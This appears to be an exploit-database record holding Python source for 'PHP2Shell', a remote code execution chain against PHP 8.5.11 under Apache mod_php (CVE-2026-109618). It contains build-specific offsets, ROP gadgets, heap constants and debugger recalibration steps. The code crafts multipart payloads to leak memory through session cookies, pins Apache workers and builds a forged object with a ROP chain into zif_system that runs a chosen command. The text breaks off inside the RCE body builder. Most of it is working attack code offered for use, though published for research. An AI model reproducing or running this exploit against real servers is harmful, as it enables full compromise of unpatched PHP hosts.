{"exploit":{"id":"EDB-52704","name":"PHP > 5.4 - 'PHP2Shell' Remote Code Execution (RCE)","description":"PHP > 5.4 - 'PHP2Shell' Remote Code Execution (RCE)","cves":["CVE-2026-109618"],"author":"OffSec","published":"2026-10-22","platform":"php","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52704","path":"exploits/php/remote/52704.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52704.py","vulnerabilities":[{"id":"CVE-2026-109618","state":"PUBLISHED","title":"RCE via OOM corruption","titleSource":"CVE Program","description":"PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-109618","cvss":{"version":"4.0","baseScore":9.2,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"php","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-109618"},"updatedAt":"2026-11-24T11:35:44.357Z","retrievedAt":"2026-11-25T16:13:33.613Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52704.png?v=2","url":"https://exploitbin.com/exploits/EDB-52704","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52704/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52704/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n\"\"\"PHP2Shell RCE chain for PHP 8.5.11 apache/mod_php.\n\nUsage: python3 exploit.py --host TARGET --rce 'id>/var/www/html/proof.txt'\n\nPurpose and vulnerability mechanisms\n====================================\nThis is a pure-HTTP, application-independent research exploit for an isolated\nlab.  Its default endpoint is ``/index.php`` and is configurable with\n``--path``.  With no ``--rce`` it stops after reproducing the overlong\n``Set-Cookie`` disclosure.  With ``--rce [COMMAND]`` it composes two distinct PHP\nmemory-safety mechanisms.  Bare ``--rce`` runs the documented default and\nverifies ``/proof.txt``; a custom command is delivered without claiming that\nits execution was verified.\n\n1. The A1/B1 disclosure is derived from 9bie's cross-request session-state\n   chain.  An upload-progress request reaches an OOM bailout before request\n   state is safely reset; a later request in the *same mod_php child* consumes\n   the stale ``PS(id)`` and encodes an attacker-forged ``zend_string`` into the\n   session cookie.  This is strongest-fit **CVE-2026-109619** behavior: request-\n   owned session globals outlive their backing request heap.  OOM is the\n   producer, but the security boundary crossed by this stage is request\n   lifetime.  This is mechanism-based attribution, not a CNA reassignment of\n   any individual public PoC.\n\n2. The optional final sink is adapted from Cookiengineer's OOM RCE.  Multipart\n   amplification exhausts the stock 128 MiB heap while\n   ``_zend_hash_str_add_or_update_i()`` has counted but not initialized its\n   final ``HashTable`` bucket.  Same-request shutdown walks the incomplete\n   bucket into a forged object, a libphp-only ``jump_fcontext`` ROP chain, and\n   ``zif_system``.  This is the incomplete-state/cleanup mechanism of\n   **CVE-2026-109618**.\n\nWorker discovery, chunked transfer, prefork saturation, the full-pool scrub,\nand the clean holder rebind are delivery/affinity techniques, not additional\nCVEs.  The scrub exists because the validated Apache environment can retain\nchildren already marked for graceful retirement when its IPv6 listener wakeup\nfails; without it, a second invocation may place A1 and B1 in different\nprocesses.  The post-scrub repin is concurrent so VPN latency cannot recreate\nan idle-surplus window.  Debugger mappings were used only to calibrate and\nindependently verify the constants below; successful end-to-end runs derive\ntheir live bases from the HTTP cookie.\n\nValidated exact environment (2026-10-23)\n========================================\nThis profile is intentionally build-specific.  Recalibrate all offsets and\nheap geometry for any other binary, compiler flags, module set, architecture,\nor loader layout.\n\n* PHP 8.5.11 NTS, Zend Engine 4.5.11, source tag ``php-8.5.11``:\n  annotated tag object ``597eb0b4e32cc8802e112fe13cc92fb5636a1781``;\n  peeled source commit ``678778973bb4d4185c06ef1320de50f1a975d3c8``.\n* Official ``php-8.5.11.tar.xz`` SHA-256:\n  ``d9be75c08e8c316f4c8f4194d8fbe1750a15f6a6d9d4e3fe72082abeeb800360``.\n* Source build flags: ``-O2 -g -fno-omit-frame-pointer\n  -fcf-protection=none``; Apache 2.4.66 (Ubuntu) ``mod_php``/prefork on\n  x86-64; glibc 2.43 (Ubuntu ``2.43-2ubuntu2.4``); validation kernel\n  ``Linux 7.0.0-38-generic``.\n* ``/usr/lib/apache2/modules/libphp.so`` SHA-256:\n  ``ecd97e302e8cb3fd106c0541410256ad6597cb6410166beee0ab773ff4974b36``;\n  GNU Build ID ``c01226a7f67b3226c1d2f81f4fc5041846914117``.\n* ASLR enabled (``kernel.randomize_va_space=2``), Apache defaults including\n  ``StartServers=5`` and ``MaxRequestWorkers=150``, and unmodified upstream\n  ``php.ini-production``: ``memory_limit=128M``, ``post_max_size=8M``,\n  ``upload_max_filesize=2M``, ``max_file_uploads=20``,\n  ``max_input_vars=1000``, ``max_input_nesting_level=64``, error display off,\n  logging on, and session upload progress plus cleanup enabled.\n* Exact module offsets: ``zval_ptr_dtor=0x7ae960``,\n  ``zif_system=0x598650``, ``jump_fcontext+0x2e=0x6362ae``,\n  ``pop rdi; ret=0x280d8d``, ``pop rsi; ret=0x2cbe07``, and\n  alignment ``ret=0x280d8e``.\n* Exact heap/layout constants: Zend main chunk ``libphp+0x3400000``;\n  post-disclosure controlled block ``main+0x5c400``; stale-ID forge page\n  ``0x1e3``; 402,500 duplicate multipart headers for the stock-128M sink.\n* The combined upstream fix used for source comparison is php-src commit\n  ``506e87fa7dcdd306975e5b8f8265ee03527aacbf`` (\"Avoid state corruption via\n  bailout\"), released in the patched 8.5.12/8.4.27/8.3.30/8.2.29 lines.\n\nRecalibrating a different build\n===============================\nNever transplant the constants above based only on ``PHP_VERSION``.  Preserve\nthe candidate module first, record its identity, and do all debugger work in\nan isolated copy of the target environment.  For example::\n\n    LIBPHP=/usr/lib/apache2/modules/libphp.so\n    sha256sum \"$LIBPHP\"\n    readelf -n \"$LIBPHP\" | grep 'Build ID'\n    readelf -lW \"$LIBPHP\"                 # record executable PT_LOAD ranges\n    nm -an \"$LIBPHP\" | grep -wE 'zval_ptr_dtor|zif_system|jump_fcontext'\n\n``nm`` values are image-relative because this module is ET_DYN.  The pivot is\n``jump_fcontext+0x2e`` only after disassembly confirms the same instruction\nsequence.  Find and inspect ROP gadgets rather than copying byte offsets::\n\n    ROPgadget --binary \"$LIBPHP\" --only 'pop|ret' | \\\n        grep -E 'pop rdi ; ret$|pop rsi ; ret$|: ret$'\n    objdump -d -M intel \"$LIBPHP\" | less\n\nVerify every chosen gadget lies in an executable ``PT_LOAD`` and inspect its\nsurrounding instructions.  If normal symbols are stripped, use the matching\ndebug file/build ID with ``readelf -Ws`` or GDB; do not derive offsets from a\ndifferent package that merely reports the same PHP version.\n\nTo recalibrate the disclosure, run a fresh debug child with the same INI and\nmodules, pause the selected rebound worker, map its client port to a PID with\n``ss -tnp``, and attach GDB.  A convenient driver form is::\n\n    python3 exploit.py --host TARGET --port 80 --path /index.php \\\n        --pause-after-rebind 60\n    # Read new_port from the log on the target, then:\n    ss -tnp sport = :80 dport = :NEW_PORT\n    gdb -q -p CHILD_PID\n    (gdb) break php_url_encode\n    (gdb) continue\n    (gdb) p/x ps_globals.id\n    (gdb) p/x ((unsigned long)ps_globals.id & 0x1fffff) >> 12\n    (gdb) p ps_globals.send_cookie\n\nThe second GDB expression is the ID page; use it as ``--forge-page``.  Sweep\nthe A1 query/burner/progress lengths and B1 ``G``/``X`` geometry\nuntil GDB shows OOM in ``php_url_encode()``, ``PS(send_cookie)=1``, and the B1\ncookie contains a highly repeated pointer that resolves exactly to the new\n``zval_ptr_dtor``.  Confirm the derived module base against mappings only\n*after* the HTTP result; mappings must never be an exploit input.\n\nMeasure the module-to-main-chunk delta in several fresh ASLR parent lifetimes.\nWith symbols loaded in GDB, compute the module base from a known symbol and\nalign the Zend heap pointer to its 2 MiB chunk::\n\n    set $libphp = (unsigned long)&zval_ptr_dtor - NEW_DTOR_OFFSET\n    set $main = (unsigned long)alloc_globals.mm_heap & ~0x1fffffUL\n    p/x $libphp\n    p/x $main\n    p/x $main - $libphp\n\nAccept the delta only if it repeats for independently started Apache parents\nand the leaked cookie contains pointers in the derived main-chunk bucket.\n\nFinally recalibrate the 109618 sink *after the complete A1/B1 history*, not on\na virgin worker.  Use ``--pause-before-rce``, attach the selected debug child,\nand break on\n``zend_mm_safe_error``, ``_zend_hash_str_add_or_update_i``, and\n``zend_array_destroy``, and identify the shutdown table with ``nNumUsed=46``.\nFor this payload layout the controlled block is ``arData-0x200``; subtract the\naligned main-chunk base to obtain ``--rce-block-offset``.  Sweep\n``--rce-headers`` around the OOM boundary until the failed allocation is the\n80,000-byte key's 81,920-byte allocation and the incomplete bucket contains\nthe forged object.  Recheck the pivot, fake handlers, ROP registers, and entry\nto ``zif_system`` in GDB, then validate without a debugger using a fresh,\nunique proof name.  Repeat under a new ASLR parent and run twice without an\nApache restart before treating the profile as usable.\n\nDirect lineage and credits\n==========================\nCredit belongs to the original researchers and repositories.  This local\ncomposition, retuning, worker scrub, and validation do not replace their\ncopyright or licensing terms.\n\n* **9bie**, ``php2shell-bypass-aslr-exp`` commit\n  ``17e98ee81025cccfd94b4f9c9a17bf269c65ff75``: A1/B1 session-state OOM,\n  forged-cookie disclosure geometry, worker occupancy, and the original\n  ASLR-on chain.  The local 8.5.11 port widens its overly narrow ``0x7f``\n  pointer floor and retunes the heap geometry.\n* **dinosn**, ``php-cve-2026-10961x-lab-poc`` commit\n  ``b1e419912219691417c72b122f6eb410b938eee7``: instrumented CVE controls,\n  Ninebie-class porting, stock-configuration experiments, offset/profile work,\n  and worker-saturation research used as comparison and calibration guidance.\n* **Cookiengineer**, ``actual-php2shell`` commit\n  ``1d5208ba5090cbbc56a091f6607996c3bbb21171``: the independently validated\n  CVE-2026-109618 incomplete-bucket/object-destruction RCE sink.  The local\n  adapter amplifies it to 128 MiB and replaces libc-dependent ROP with gadgets\n  and ``zif_system`` from this exact libphp image.\n\nOther reviewed/referenced public PoCs (not direct code lineage for this file)\nare credited to **Eness** (``php2shell-CVE-2026-109618-CVE-2026-109619-PoC``,\n``df8b16fe69ab7218f496b5d88127253fc90ff92e``), **0x4148**\n(``CVE-2026-109618-php2shell-lab``,\n``bc40fb2c96d5e92121e6bf8b996f7ba3ad057413``), **Ikow**\n(``php2shell-poc``, ``31519e6d8a84dee1df1262961ed1bebb65accadd``),\n**Murrez** (``php2shell``, ``e62535936b5fb1d013f8f52832df8c740c88e672``),\nand **Syrex1013** (``php2shell``,\n``2b14725288c519380810fb057b214889eea9ee76``).\n\nThose revision identifiers are included here so this file retains its own\nprovenance when copied outside the original research tree.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nfrom collections import Counter\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom dataclasses import dataclass, field\nfrom pathlib import Path\nimport socket\nimport struct\nimport sys\nimport tempfile\nimport threading\nimport time\nimport urllib.parse\n\n\ndef print(*values: object, sep: str = \" \", end: str = \"\\n\",\n          file: object | None = None, flush: bool = False) -> None:\n    \"\"\"Print every logical line with an epoch timestamp to microseconds.\"\"\"\n    stream = file if file is not None else sys.stdout\n    payload = sep.join(str(value) for value in values) + end\n    for line in payload.splitlines(keepends=True):\n        now = time.time_ns()\n        stamp = f\"{now // 1_000_000_000}.{(now // 1_000) % 1_000_000:06d}\"\n        stream.write(f\"[{stamp}] {line}\")\n    # Logs are used to coordinate long-running worker-affinity diagnostics.\n    stream.flush()\n\n\nDEFAULT_QUERY = (\n    \"?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v\"\n    \"&z=vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv\"\n)\nTARGET_PATH = \"/index.php\"\nDEFAULT_RCE_COMMAND = \"id>/var/www/html/proof.txt\"\nDEFAULT_RCE_PROOF_URL = \"/proof.txt\"\nMULTIPART_BOUNDARY = b\"C\" * 10\nRCE_BOUNDARY = b\"AMP128BOUNDARY\"\nIS_OBJECT = 8\n\n\ndef build_a1_body(path: Path, args: argparse.Namespace) -> None:\n    \"\"\"Build the END-cleanup send-cookie OOM request body.\"\"\"\n    parts = 860\n    depth = 64\n    key_pad = 90\n    big_len = 8000\n    boundary = MULTIPART_BOUNDARY\n    out = bytearray()\n\n    def nested_name(index: int) -> bytes:\n        return ((\"files[R%05d%s]\" % (index, \"K\" * key_pad)).encode()\n                + b\"[a]\" * (depth - 2))\n\n    def part(name: bytes, value: bytes = b\"\", filename: bytes | None = None,\n             content_type: bytes | None = None) -> None:\n        out.extend(b\"--\" + boundary\n                   + b\"\\r\\nContent-Disposition: form-data; name=\\\"\"\n                   + name + b\"\\\"\")\n        if filename is not None:\n            out.extend(b\"; filename=\\\"\" + filename + b\"\\\"\")\n        out.extend(b\"\\r\\n\")\n        if content_type is not None:\n            out.extend(b\"Content-Type: \" + content_type + b\"\\r\\n\")\n        out.extend(b\"\\r\\n\" + value + b\"\\r\\n\")\n\n    part(b\"PHPSESSID\", b\"\\x00\")\n    for index in range(parts):\n        if index == 0:\n            content_type = b\"C\" * 103\n        elif index == 1:\n            content_type = b\"C\" * 231\n        else:\n            content_type = b\"application/octet-stream\"\n        out.extend(b\"--\" + boundary\n                   + b\"\\r\\nContent-Disposition: form-data; name=\\\"\"\n                   + nested_name(index) + b\"\\\"\")\n        out.extend(b\"; filename=\\\"A\\\"\" if index < 2\n                   else b\"; filename=\\\"\\\"\")\n        out.extend(b\"\\r\\nContent-Type: \" + content_type + b\"\\r\\n\\r\\n\")\n    for index in range(args.a1_fillers128):\n        name = (\"f%04d\" % index).encode().ljust(103, b\"x\")[:103]\n        part(name, b\"v\" * 8)\n    for index in range(args.a1_big):\n        part((\"b%04d\" % index).encode(), b\"B\" * big_len)\n    for index in range(args.a1_burners):\n        part((\"u%02d\" % index).encode(), b\"U\" * args.a1_burner_len)\n    part(b\"PHP_SESSION_UPLOAD_PROGRESS\", b\"k\" * args.a1_progress_len)\n    out.extend(b\"--\" + boundary + b\"--\\r\\n\")\n    path.write_bytes(out)\n    count = (2 + parts + args.a1_fillers128 + args.a1_big\n             + args.a1_burners)\n    print(f\"body={len(out)} parts={count}\")\n\n\ndef leak_tag(index: int, tagged: bool) -> bytes:\n    return (b\"/\" + (\"%02d\" % (index % 100)).encode() + b\"BBBBB\"\n            if tagged else b\"BBBB/BBB\")\n\n\ndef leak_forge_fill_value(pages: int, page: int, fake_len: int,\n                          index: int, tagged: bool) -> bytes:\n    length = pages * 4096 - 25\n    value = bytearray(b\"A\" * length)\n    header = page * 0x1000 - 0x1018\n    if 0 <= header and header + 0x20 <= length:\n        struct.pack_into(\"<I\", value, header, 0)\n        struct.pack_into(\"<I\", value, header + 4, 0x16)\n        struct.pack_into(\"<Q\", value, header + 8, 0)\n        struct.pack_into(\"<Q\", value, header + 0x10, fake_len)\n        value[header + 0x18:header + 0x20] = leak_tag(index, tagged)\n    return bytes(value)\n\n\ndef build_leak_body(path: Path, args: argparse.Namespace) -> None:\n    \"\"\"Build the B1 reclaim body and forged zend_string headers.\"\"\"\n    fake_len = args.fake_len\n    out = bytearray()\n\n    def part(name: bytes, value: bytes) -> None:\n        out.extend(b\"--\" + MULTIPART_BOUNDARY\n                   + b\"\\r\\nContent-Disposition: form-data; name=\\\"\"\n                   + name + b\"\\\"\\r\\n\\r\\n\" + value + b\"\\r\\n\")\n\n    part(b\"PHPSESSID\", b\"a\")\n    part(b\"PHP_SESSION_UPLOAD_PROGRESS\", b\"k0\")\n    index = 0\n    pages_sequence = [511] * 14 + [args.mid_pages, 511]\n    for pages in pages_sequence:\n        value = leak_forge_fill_value(\n            pages, args.forge_page, fake_len, index, True)\n        name = (b\"f%04d\" % index).ljust(120, b\"f\")[:120]\n        part(name, value)\n        index += 1\n    for _ in range(args.nested_fields):\n        name = (\"x%05d\" % index).encode() + b\"[a]\" * 12\n        part(name, b\"v\")\n        index += 1\n    out.extend(b\"--\" + MULTIPART_BOUNDARY + b\"--\\r\\n\")\n    path.write_bytes(out)\n    print(f\"body={len(out)} fields={index} fake_len={fake_len:#x}\")\n\n\n@dataclass\nclass Holder:\n    \"\"\"A worker-pinning request whose chunk stream can be finished in place.\"\"\"\n\n    sock: socket.socket\n    feeding: bool = True\n    lock: threading.Lock = field(default_factory=threading.Lock)\n\n    def __getattr__(self, name: str) -> object:\n        return getattr(self.sock, name)\n\n\ndef close_holder(holder: Holder) -> None:\n    \"\"\"Stop keepalive writes and close a holder without a sender race.\"\"\"\n    with holder.lock:\n        holder.feeding = False\n        try:\n            holder.sock.shutdown(socket.SHUT_RDWR)\n        except OSError:\n            pass\n        holder.sock.close()\n\n\ndef open_accepted_holder(host: str, port: int,\n                         timeout: float = 30.0) -> Holder:\n    \"\"\"Open one holder and wait for proof that a child accepted it.\"\"\"\n    sock = socket.create_connection((host, port), timeout=timeout)\n    sock.settimeout(timeout)\n    sock.sendall(\n        b\"POST \" + TARGET_PATH.encode() + b\" HTTP/1.1\\r\\nHost: x\\r\\n\"\n        b\"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n        b\"Transfer-Encoding: chunked\\r\\n\"\n        b\"Connection: keep-alive\\r\\n\"\n        b\"Expect: 100-continue\\r\\n\\r\\n\"\n    )\n    interim = bytearray()\n    try:\n        while b\"\\r\\n\\r\\n\" not in interim and len(interim) < 8192:\n            chunk = sock.recv(8192)\n            if not chunk:\n                break\n            interim.extend(chunk)\n        if b\" 100 Continue\\r\\n\" not in interim:\n            raise RuntimeError(\n                f\"holder was not accepted by a worker: {bytes(interim[:120])!r}\"\n            )\n        sock.sendall(b\"1\\r\\nx\\r\\n\")\n        return Holder(sock)\n    except BaseException:\n        sock.close()\n        raise\n\n\ndef hold_workers_parallel(host: str, port: int, workers: int,\n                          holders: list[Holder]) -> list[Holder]:\n    \"\"\"Repin a known capacity without a VPN-latency retirement window.\"\"\"\n    opened: list[Holder] = []\n    try:\n        with ThreadPoolExecutor(max_workers=workers) as pool:\n            futures = [\n                pool.submit(open_accepted_holder, host, port, 30.0)\n                for _ in range(workers)\n            ]\n            for future in as_completed(futures):\n                opened.append(future.result())\n                count = len(opened)\n                if count % 25 == 0 or count == workers:\n                    print(f\"[*] accepted holders {count}/{workers} parallel\",\n                          flush=True)\n    except BaseException:\n        for holder in opened:\n            close_holder(holder)\n        raise\n    holders.extend(opened)\n    return holders\n\n\ndef discover_worker_pool(host: str, port: int,\n                         holders: list[Holder], max_workers: int,\n                         timeout: float, checks: int) -> int:\n    \"\"\"Fill prefork dynamically until repeated holders remain unaccepted.\"\"\"\n    misses = 0\n    while len(holders) < max_workers:\n        try:\n            holders.append(open_accepted_holder(host, port, timeout))\n        except TimeoutError:\n            misses += 1\n            print(f\"[*] capacity probe {misses}/{checks} timed out at \"\n                  f\"{len(holders)} accepted holders\", flush=True)\n            if misses >= checks:\n                break\n            time.sleep(1.0)\n            continue\n        misses = 0\n        if len(holders) % 25 == 0:\n            print(f\"[*] accepted holders {len(holders)} (auto)\", flush=True)\n    if not holders or misses < checks:\n        raise RuntimeError(\n            f\"worker discovery did not find a ceiling below {max_workers}\"\n        )\n    print(f\"[+] discovered MaxRequestWorkers={len(holders)}\", flush=True)\n    return len(holders)\n\n\ndef keep_holders_alive(holders: list[Holder],\n                       stop: threading.Event) -> None:\n    \"\"\"Beat mod_reqtimeout's body minimum-rate check without completing POSTs.\"\"\"\n    # Two times Debian/Ubuntu's 500-byte/s default leaves the tunnel mostly\n    # available to the 33 MiB disclosure request.\n    block = b\"400\\r\\n\" + b\"x\" * 1024 + b\"\\r\\n\"\n    while not stop.wait(1.0):\n        for holder in tuple(holders):\n            try:\n                with holder.lock:\n                    if holder.feeding:\n                        holder.sock.sendall(block)\n            except OSError:\n                pass\n\n\ndef read_content_length_response(sock: socket.socket, timeout: float) -> bytes:\n    \"\"\"Read one keep-alive HTTP response with an explicit Content-Length.\"\"\"\n    sock.settimeout(timeout)\n    response = bytearray()\n    while b\"\\r\\n\\r\\n\" not in response:\n        chunk = sock.recv(65536)\n        if not chunk:\n            raise ConnectionError(\"worker closed before response headers\")\n        response.extend(chunk)\n        if len(response) > 65536:\n            raise RuntimeError(\"oversized qualification response headers\")\n    head, body = bytes(response).split(b\"\\r\\n\\r\\n\", 1)\n    content_length = None\n    for line in head.split(b\"\\r\\n\")[1:]:\n        name, sep, value = line.partition(b\":\")\n        if sep and name.lower() == b\"content-length\":\n            content_length = int(value.strip())\n            break\n    if content_length is None:\n        raise RuntimeError(\"qualification response lacks Content-Length\")\n    while len(body) < content_length:\n        chunk = sock.recv(min(65536, content_length - len(body)))\n        if not chunk:\n            raise ConnectionError(\"worker closed during response body\")\n        body += chunk\n    if len(body) != content_length:\n        raise RuntimeError(\"qualification response over-read pipelined bytes\")\n    return head + b\"\\r\\n\\r\\n\" + body\n\n\ndef cleanly_release_holder(holder: Holder, host: str, port: int,\n                           path: str, timeout: float) -> None:\n    \"\"\"End a holder without Apache's two-second lingering-close path.\"\"\"\n    with holder.lock:\n        holder.feeding = False\n        holder.sock.sendall(b\"0\\r\\n\\r\\n\")\n    first = read_content_length_response(holder.sock, timeout)\n    if not first.startswith(b\"HTTP/1.1 200\"):\n        raise RuntimeError(f\"holder completion failed: {first[:80]!r}\")\n    holder.sock.sendall(\n        b\"GET \" + path.encode() + b\" HTTP/1.1\\r\\nHost: \"\n        + host.encode() + b\":\" + str(port).encode()\n        + b\"\\r\\nConnection: close\\r\\n\\r\\n\"\n    )\n    second = read_content_length_response(holder.sock, timeout)\n    if not second.startswith(b\"HTTP/1.1 200\"):\n        raise RuntimeError(f\"worker close probe failed: {second[:80]!r}\")\n    # Let Apache initiate and finish the advertised close.  Closing from the\n    # client immediately after Content-Length bytes sends the worker through\n    # its two-second lingering-close path and masks respawn latency.\n    holder.sock.settimeout(timeout)\n    while holder.sock.recv(4096):\n        pass\n    holder.sock.close()\n\n\ndef scrub_worker_pool(holders: list[Holder], host: str, port: int,\n                      path: str, timeout: float) -> None:\n    \"\"\"Force every pinned prefork child through request completion.\n\n    Apache's graceful-stop wakeup is broken when its IPv6 listener is\n    unreachable, leaving retirement-marked idle children in the pool.  Ending\n    every holder concurrently makes those children observe the flag and exit;\n    healthy children simply return to accept().\n    \"\"\"\n    batch = list(holders)\n    holders.clear()\n\n    def release(holder: Holder) -> str | None:\n        try:\n            cleanly_release_holder(holder, host, port, path, timeout)\n            return None\n        except (OSError, RuntimeError) as exc:\n            close_holder(holder)\n            return str(exc)\n\n    errors: list[str] = []\n    with ThreadPoolExecutor(max_workers=len(batch)) as pool:\n        futures = [pool.submit(release, holder) for holder in batch]\n        for future in as_completed(futures):\n            error = future.result()\n            if error:\n                errors.append(error)\n    print(f\"[*] scrubbed {len(batch)} workers; early_closes={len(errors)}\",\n          flush=True)\n\n\n@dataclass\nclass ChunkedJob:\n    thread: threading.Thread\n    errors: list[BaseException]\n\n\ndef start_chunked(host: str, port: int, path: str, body: Path,\n                  response: Path, timeout: float) -> ChunkedJob:\n    \"\"\"Start a streaming chunked request without an external helper.\"\"\"\n    errors: list[BaseException] = []\n\n    def send() -> None:\n        body_size = body.stat().st_size\n        started = time.monotonic()\n        received = bytearray()\n        sock: socket.socket | None = None\n        try:\n            sock = socket.create_connection((host, port), timeout=timeout)\n            sock.settimeout(timeout)\n            sock.sendall(\n                b\"POST \" + path.encode() + b\" HTTP/1.1\\r\\nHost: \"\n                + host.encode() + b\":\" + str(port).encode()\n                + b\"\\r\\nContent-Type: multipart/form-data; boundary=\"\n                + MULTIPART_BOUNDARY\n                + b\"\\r\\nTransfer-Encoding: chunked\\r\\n\"\n                  b\"Connection: close\\r\\n\\r\\n\"\n            )\n            with body.open(\"rb\") as stream:\n                while True:\n                    piece = stream.read(65536)\n                    if not piece:\n                        break\n                    sock.sendall(f\"{len(piece):x}\\r\\n\".encode()\n                                 + piece + b\"\\r\\n\")\n            sock.sendall(b\"0\\r\\n\\r\\n\")\n            while len(received) < 4 << 20:\n                chunk = sock.recv(65536)\n                if not chunk:\n                    break\n                received.extend(chunk)\n        except OSError as exc:\n            # A1 and the RCE sink deliberately provoke request termination;\n            # preserve any response already received, as the original sender\n            # did, but make a connect failure visible.\n            if sock is None:\n                errors.append(exc)\n        finally:\n            if sock is not None:\n                sock.close()\n            response.write_bytes(received)\n            status = bytes(received).split(b\"\\r\\n\", 1)[0][:60]\n            print(f\"body={body_size} resp={len(received)} \"\n                  f\"elapsed={time.monotonic() - started:.2f}s \"\n                  f\"status={status.decode('latin1', 'replace')!r}\")\n\n    thread = threading.Thread(target=send, name=\"chunked-request\", daemon=True)\n    thread.start()\n    return ChunkedJob(thread, errors)\n\n\ndef finish_chunked(job: ChunkedJob, response: Path, timeout: float) -> bytes:\n    job.thread.join(timeout)\n    if job.thread.is_alive():\n        raise TimeoutError(\"chunked request did not finish\")\n    if job.errors:\n        raise job.errors[0]\n    return response.read_bytes()\n\n\ndef cookie_value(response: bytes) -> bytes:\n    marker = b\"Set-Cookie: PHPSESSID=\"\n    start = response.find(marker)\n    if start < 0:\n        return b\"\"\n    return response[start + len(marker):].split(b\"\\r\\n\", 1)[0]\n\n\ndef summarize_cookie(encoded: bytes, pointer_floor: int) -> dict[str, object]:\n    decoded = urllib.parse.unquote_to_bytes(encoded.decode(\"latin1\"))\n    pointers = Counter()\n    for off in range(0, len(decoded) - 7, 8):\n        value = struct.unpack_from(\"<Q\", decoded, off)[0]\n        if pointer_floor <= value <= 0x7FFFFFFFFFFF:\n            pointers[value] += 1\n    return {\n        \"decoded\": decoded,\n        \"pointers\": pointers,\n        \"top\": pointers.most_common(20),\n    }\n\n\ndef pack_u64(value: int) -> bytes:\n    return struct.pack(\"<Q\", value)\n\n\ndef pack_u32(value: int) -> bytes:\n    return struct.pack(\"<I\", value)\n\n\ndef build_rce_pad(heap_base: int, libphp_base: int, command: bytes, *,\n                  block_offset: int, pivot_offset: int,\n                  pop_rdi_offset: int, pop_rsi_offset: int,\n                  ret_offset: int, zif_system_offset: int) -> bytes:\n    \"\"\"Build the forged bucket, object, handlers, ROP, and execute_data.\"\"\"\n    if len(command) > 48:\n        raise ValueError(\"RCE command exceeds the 48-byte carrier\")\n    block = heap_base + block_offset\n    handlers = block + 24 + 2000\n    obj = block + 24 + 2048\n    execute_data = block + 24 + 2240\n    command_string = execute_data + 0x80\n    return_value = block + 24 + 2464\n\n    pivot = libphp_base + pivot_offset\n    pop_rdi = libphp_base + pop_rdi_offset\n    pop_rsi = libphp_base + pop_rsi_offset\n    ret = libphp_base + ret_offset\n    zif_system = libphp_base + zif_system_offset\n\n    pad = bytearray(b\"P\" * 2528)\n    pad[2000:2008] = pack_u64(0)\n    pad[2008:2016] = pack_u64(pivot)\n    pad[2016:2024] = pack_u64(ret)\n\n    offset = 2048\n    pad[offset:offset + 4] = pack_u32(1)\n    pad[offset + 4:offset + 8] = pack_u32(IS_OBJECT)\n    pad[offset + 8:offset + 12] = pack_u32(0)\n    pad[offset + 0x10:offset + 0x18] = pack_u64(0)\n    pad[offset + 0x18:offset + 0x20] = pack_u64(handlers)\n    pad[offset + 0x20:offset + 0x28] = pack_u64(0)\n    pad[offset + 0x28:offset + 0x40] = b\"\\x00\" * 24\n    pad[offset + 0x40:offset + 0x48] = pack_u64(pop_rdi)\n    pad[offset + 0x48:offset + 0x50] = pack_u64(execute_data)\n    pad[offset + 0x50:offset + 0x58] = pack_u64(pop_rsi)\n    pad[offset + 0x58:offset + 0x60] = pack_u64(return_value)\n    pad[offset + 0x60:offset + 0x68] = pack_u64(ret)\n    pad[offset + 0x68:offset + 0x70] = pack_u64(zif_system)\n    pad[offset + 0x70:offset + 0x78] = pack_u64(0)\n\n    offset = 2240\n    pad[offset:offset + 8] = pack_u64(0)\n    pad[offset + 8:offset + 0x10] = pack_u64(0)\n    pad[offset + 0x10:offset + 0x18] = pack_u64(return_value)\n    pad[offset + 0x18:offset + 0x20] = pack_u64(0)\n    pad[offset + 0x20:offset + 0x28] = pack_u64(0)\n    pad[offset + 0x28:offset + 0x2C] = pack_u32(0)\n    pad[offset + 0x2C:offset + 0x30] = pack_u32(1)\n    pad[offset + 0x30:offset + 0x38] = pack_u64(0)\n    pad[offset + 0x38:offset + 0x40] = pack_u64(0)\n    pad[offset + 0x40:offset + 0x44] = pack_u32(0)\n    pad[offset + 0x50:offset + 0x58] = pack_u64(command_string)\n    pad[offset + 0x58:offset + 0x5C] = pack_u32(6)\n\n    offset += 0x80\n    pad[offset:offset + 4] = pack_u32(1)\n    pad[offset + 4:offset + 8] = pack_u32(0x106)\n    pad[offset + 8:offset + 0x10] = pack_u64(0)\n    pad[offset + 0x10:offset + 0x18] = pack_u64(len(command) - 1)\n    pad[offset + 0x18:offset + 0x18 + len(command)] = command\n    pad[2464:2480] = b\"\\x00\" * 16\n\n    pad[1928:1936] = pack_u64(obj)\n    pad[1936:1940] = pack_u32(IS_OBJECT | 0x100)\n    pad[1940:1944] = pack_u32(0)\n    return bytes(pad)\n\n\ndef rce_field(name: bytes, value: bytes) -> bytes:\n    return (b\"--\" + RCE_BOUNDARY\n            + b\"\\r\\nContent-Disposition: form-data; name=\\\"\" + name\n            + b\"\\\"\\r\\n\\r\\n\" + value + b\"\\r\\n\")\n\n\ndef rce_large_key(index: int, size: int) -> bytes:\n    return b\"X\" * (size - 16) + (b\"%016d\" % index)\n\n\ndef build_rce_body(args: argparse.Namespace, heap_base: int,\n                   libphp_base: int, command: str) -> bytes:\n    